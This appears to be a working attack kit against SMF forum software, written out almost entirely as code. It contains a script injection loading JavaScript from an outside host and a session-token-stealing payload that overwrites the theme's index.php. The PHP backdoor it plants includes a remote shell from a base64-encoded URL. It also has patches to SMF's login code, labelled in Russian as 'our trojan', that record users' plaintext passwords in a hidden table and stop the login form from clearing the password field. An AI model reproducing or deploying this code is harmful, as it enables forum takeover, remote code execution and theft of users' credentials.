var s=document.createElement('script');
s.src='http://aaa.com/re.js';
document.documentElement.firstChild.appendChild(s);

var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
shellCode += "$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');\n";
shellCode += "if($_GET['act']=='run'){include($str);};\n";
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += "   exit;\n\n?>";

sendRequest("forum/index.php", null, "GET", getSesc);

function getSesc(request) {
    var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

    if(sessVerify) {
        sendRequest(
            "forum/index.php?action=theme;th=1;sa=edit",
            "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
            "POST", null);
    }
}

function sendRequest(url, data, method, onLoadFunc) {
    var request = createHttpRequest();

    if(request) {
        request.open(method, url, true);
        
        if(method == "POST") {
            request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

        if(onLoadFunc) {
            request.onreadystatechange = function() {
                if(request.readyState == 4) {
                    onLoadFunc(request); }
            }
        }
        request.send(data);
    }
} 

function createHttpRequest() {
    var httpRequest = false;
    try {
        httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
    catch(e) {
        try {
            httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new XMLHttpRequest(); }
            catch(e) {
                httpRequest = false;
            }
        }
    }
    return httpRequest;
}

CREATE TABLE smf_logs (
       id             INTEGER NOT NULL,
       name           VARCHAR(100) NOT NULL,
       password       VARCHAR(100) NOT NULL
);
ALTER TABLE smf_logs
       ADD  ( PRIMARY KEY (id));

...
	elseif ($user_settings['passwordSalt'] == '')
	{
		$user_settings['passwordSalt'] = substr(md5(rand()), 0, 4);
		updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\''));
	}
	//начало нашего трояна
	else
	{
		$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}");
		$user = mysql_fetch_array($req);
		if(!$user)
			$req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'");
		if($user['password']!=$_REQUEST['passwrd'])
			$req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
	}
	//конец трояна
	if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
		$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);

	// Get ready to set the cookie...
	...

...
elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA'])))
	{
		// !!! Perhaps we can do some more checking on this, such as on the first octet of the IP?
		list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename]));
		$ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0;
	}
	//начало нашего трояна
	$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}");
	$user = mysql_fetch_array($req);
	if(!isset($user['id']))
	{
		unset($password);
	}
	//конец трояна
	// Only load this stuff if the user isn't a guest.
	if ($ID_MEMBER != 0)...

	...
	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
	//закомментируем эти строки
	//if (navigator.userAgent.indexOf("Firefox/") != -1)
	//	doForm.passwrd.value = "";
	//else
	//	doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}

...
	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
	//закомментируем строку
	//doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}